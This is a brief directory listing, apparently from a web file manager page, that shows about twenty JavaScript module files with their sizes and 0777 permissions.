sticky-footer.js File 3.16 KB 0777
storage_validation.js File 1.36 KB 0777
storagewrapper.js File 5.36 KB 0777
stored_progress.js File 3.15 KB 0777
str.js File 10.01 KB 0777
tag.js File 15.02 KB 0777
templates.js File 10.83 KB 0777
toast.js File 4.26 KB 0777
togglesensitive.js File 5.15 KB 0777
tooltip.js File 4.09 KB 0777
tree.js File 18.39 KB 0777
truncate.js File 6.56 KB 0777
url.js File 3.65 KB 0777
user_date.js File 9.27 KB 0777
userfeedback.js File 2.91 KB 0777
usermenu.js File 5.13 KB 0777
utility.js File 7.5 KB 0777
utils.js File 4.83 KB 0777
yui.js File 1.13 KB 0777
Filemanager